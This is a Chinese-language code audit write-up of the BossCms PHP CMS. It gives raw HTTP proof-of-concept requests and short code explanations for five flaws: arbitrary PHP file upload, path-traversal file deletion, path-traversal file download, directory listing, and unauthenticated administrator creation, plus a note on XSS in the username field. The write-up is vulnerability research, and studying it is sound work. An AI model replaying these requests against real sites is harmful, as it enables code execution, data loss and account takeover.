10、BossCms代码审计

1、任意文件上传

限制

复现

POST /system/extend/ueditor/php/controller.php?action=uploadfile&encode=utf-8 HTTP/1.1
Host: bosscms.com
Content-Length: 761
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAsLBZuxNv1g9kBB0
Accept: */*
Origin: http://bosscms.com
Referer: http://bosscms.com/system/extend/ueditor/dialogs/attachment/attachment.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sle15srngo4hspjv2d7ifia6b5
Connection: close

------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="name"

1.php
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="type"

application
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="lastModifiedDate"

Wed Jun 07 2023 17:22:54 GMT+0800 (中国标准时间)
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="size"

20
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

------WebKitFormBoundaryAsLBZuxNv1g9kBB0--

添加允许上传的类型，上传php文件不通过

直接通过链接形式上传文件，上传后会出现访问地址

代码

上传的逻辑值判断了是否有上传文件，和上传文件的大小，并没有对文件后缀和内容做处理

2、任意文件删除

限制

POST请求，path=upload

复现

POST /system/extend/ueditor/php/controller.php?action=delete HTTP/1.1
Host: bosscms.com
Content-Length: 17
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://bosscms.com
Referer: http://bosscms.com/system/extend/ueditor/dialogs/image/image.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: close

path=upload/1.txt

代码

同文件里有delete函数，判断以post请求的path参数是否存在并且匹配是否以upload开头

判断config中store_type是否为空，如果 不为空的话调用oss类下的delete()方法反之调用dir类下的delete()方法搜索store_type发现该处功能为设置存储方式，默认为0  。所以 走dir类下的delete()  

replace对path进行简单的替换，没有涉及到要用的字符，所以可以直接写入路径../。if判断路径是否有文件，有则直接删除

3、任意文件下载

限制

mold=safe&part=backup&func=download&id=../../basic/1.txt

复现

GET /admin/?mold=safe&part=backup&func=download&id=../../basic/1.txt HTTP/1.1
Host: bosscms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms.com/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: close

代码

判断id参数是否存在，存在则拼接sql和路径赋值给$file.在判断$file是不是文件，是则返回header，readfile($file);直接读取这个文件

4、目录遍历

限制

action=listfile&folder=../ 

复现

GET /system/extend/ueditor/php/controller.php?action=listfile&folder=../ HTTP/1.1
Host: bosscms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: */*
Referer: http://bosscms.com/admin/?mold=site&part=site&func=init
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: close

代码

先调用config指向fileManagerActionName(列出文件)，在返回listfile函数；在判断get-start和get-size参数是否存在并且是数字。

在继续调用lists,接受folder参数调用arrExist函数，判断数组是否存在，存在就键值分离，否则返回空；将结果赋值给$folder；$path = dir::replace($path.'/'.$folder);将$path拼接/和$folder在替换；下面对$path的操作都是read直接读路径

 通过opendir()、readdir()打开目录并读取目录中的内容  

5、未授权添加管理员

限制

mold=manager&part=manager&func=add

------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="username"

eeee
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="password"

qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="passwords"

qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="level"

2

复现

POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms.com
Content-Length: 395
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrrq418NZS9wguXwR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms.com/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: close

------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="username"

test
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="password"

qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="passwords"

qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="level"

2

添加管理员抓到数据包，退出登录发送，添加成功-跳转到登录页面

代码

以post方式请求，$data为数组赋值，if判断新密码和重复的密码是否相同，if两次密码不为空，在if两次密码是否相等，相等则向密码md5赋值给$data[pasword]

如果要触发alert(保存成功)就不要满足if..else的条件。首先这里id是不存在的,else要让username不重复，lecel等级不等于1,就跳出条件语句执行alert(保存成功)，从头到尾都没有验证用户的登录状态

这里代码对username没有做xss处理也存在xss